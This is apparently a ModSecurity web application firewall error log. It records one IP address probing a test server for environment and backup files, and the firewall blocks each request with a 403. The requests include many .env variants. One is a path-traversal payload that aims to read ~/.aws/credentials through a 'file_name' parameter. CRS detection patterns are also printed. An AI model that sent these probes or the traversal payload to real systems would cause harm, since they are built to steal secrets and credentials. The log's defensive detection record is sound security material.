[Thu Feb 26 01:02:42.656747 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.local&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4BAAAAAY&quot;]
[Thu Feb 26 01:02:42.673589 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.docker.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2wAAAAE&quot;]
[Thu Feb 26 01:02:42.673813 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2wAAAAE&quot;]
[Thu Feb 26 01:02:42.673970 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.docker.dev&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg2wAAAAE&quot;]
[Thu Feb 26 01:02:42.713779 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.envrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4BgAAAAY&quot;]
[Thu Feb 26 01:02:42.714003 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4BgAAAAY&quot;]
[Thu Feb 26 01:02:42.714165 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.envrc&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4BgAAAAY&quot;]
[Thu Feb 26 01:02:42.722536 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg3AAAAAE&quot;]
[Thu Feb 26 01:02:42.722777 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg3AAAAAE&quot;]
[Thu Feb 26 01:02:42.722932 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test&quot;] [unique_id &quot;aZ-NojAL5Lg_nL66HcLg3AAAAAE&quot;]
[Thu Feb 26 01:02:42.748652 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4BwAAAAY&quot;]
[Thu Feb 26 01:02:42.748859 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4BwAAAAY&quot;]
[Thu Feb 26 01:02:42.749006 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4BwAAAAY&quot;]
[Thu Feb 26 01:02:42.801455 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sample.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4CAAAAAY&quot;]
[Thu Feb 26 01:02:42.801735 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4CAAAAAY&quot;]
[Thu Feb 26 01:02:42.801943 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sample.php&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4CAAAAAY&quot;]
[Thu Feb 26 01:02:42.837755 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env1&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4CQAAAAY&quot;]
[Thu Feb 26 01:02:42.837990 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4CQAAAAY&quot;]
[Thu Feb 26 01:02:42.838156 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env1&quot;] [unique_id &quot;aZ-NopqP6Uim1aZiP_g4CQAAAAY&quot;]
[Thu Feb 26 01:02:43.006901 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4DQAAAAY&quot;]
[Thu Feb 26 01:02:43.007366 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4DQAAAAY&quot;]
[Thu Feb 26 01:02:43.007533 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.bak&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4DQAAAAY&quot;]
[Thu Feb 26 01:02:43.122979 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg5gAAAAE&quot;]
[Thu Feb 26 01:02:43.123212 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg5gAAAAE&quot;]
[Thu Feb 26 01:02:43.123364 2026] [:error] [pid 2330789] [client 185.177.72.22:9414] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ-NozAL5Lg_nL66HcLg5gAAAAE&quot;]
[Thu Feb 26 01:02:43.128806 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EAAAAAY&quot;]
[Thu Feb 26 01:02:43.128868 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EAAAAAY&quot;]
[Thu Feb 26 01:02:43.128911 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /pms?module=logging&amp;file_name=../../../../../../~/.aws/credentials&amp;number_of_lines=10000&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EAAAAAY&quot;]
[Thu Feb 26 01:02:43.129531 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EAAAAAY&quot;]
[Thu Feb 26 01:02:43.129698 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EAAAAAY&quot;]
[Thu Feb 26 01:02:43.170701 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EQAAAAY&quot;]
[Thu Feb 26 01:02:43.170933 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/k8s/.env&quot;] [unique_id &quot;aZ-No5qP6Uim1aZiP_g4EQAAAAY&quot;]
